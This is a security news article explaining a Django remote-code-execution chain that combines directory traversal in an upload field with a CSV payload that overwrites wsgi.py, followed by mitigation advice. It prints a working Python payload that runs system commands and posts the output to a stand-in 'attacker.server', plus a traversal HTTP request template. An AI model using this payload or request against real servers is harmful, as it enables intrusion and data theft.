Django App Chain Enables Remote Code Execution via Linked Vulnerabilities

Security researchers have uncovered a critical remote code execution (RCE) vulnerability in Django applications by chaining directory traversal with CSV parser manipulation.

The exploit allows attackers to overwrite server files like wsgi.py and execute arbitrary commands.

This technique leverages unsanitized user input in file paths and Django’s auto-reloading behavior in debug mode.

Exploit Chain Mechanics

The attack targets CSV file upload endpoints using Django’s pandas library. Attackers manipulate the username field to inject path traversal sequences (e.g., ../../../../../../app/backend/backend/), redirecting file writes to critical directories.

The payload embeds malicious Python code within a CSV comment line:

python# VALID CSV DATA  
import os,requests;from django.core.wsgi import get_wsgi_application;  
os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');  
r=os.popen('whoami&&id&&hostname').read();  
requests.post('http://attacker.server',data={'r':r});  
application = get_wsgi_application();,,,,,  

Pandas’ CSV processing preserves the comment structure, while trailing commas added during re-serialization become harmless under Python’s comment rules.

Server-Side Execution Trigger

Django’s development server auto-reloads wsgi.py Upon modification, execute the embedded payload.

The attacker’s code:

1. Runs system commands (whoami, id) via os.popen()
2. Exfiltrates results to a remote server
3. Reassigns application to maintain Django functionality

The HTTP request overwrites wsgi.py using the traversal path and a malicious CSV filename:

textPOST /api/endpoint HTTP/1.1  
...  
Content-Disposition: form-data; name="username"  
../../../../../../app/backend/backend/  
Content-Disposition: form-data; name="fleet_csv"; filename="wsgi.py"  
...  
[Payload]  

Mitigation Strategies

To prevent exploitation:

1. Sanitize user input: Normalize and validate all user-supplied paths using os.path.abspath() and prefix checks.
2. Disable debug mode: Avoid auto-reloading in production environments.
3. Upgrade Django: Patch known vulnerabilities in SSI template tags and path handling.
4. Implement strict allowlists: Restrict file operations to pre-defined directories using os.path.commonprefix() validation.

This vulnerability underscores the risks of combining filesystem access with unsafe parsing logic.

Developers must assume all user inputs are malicious and enforce strict output encoding for dynamic file operations.

Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant updates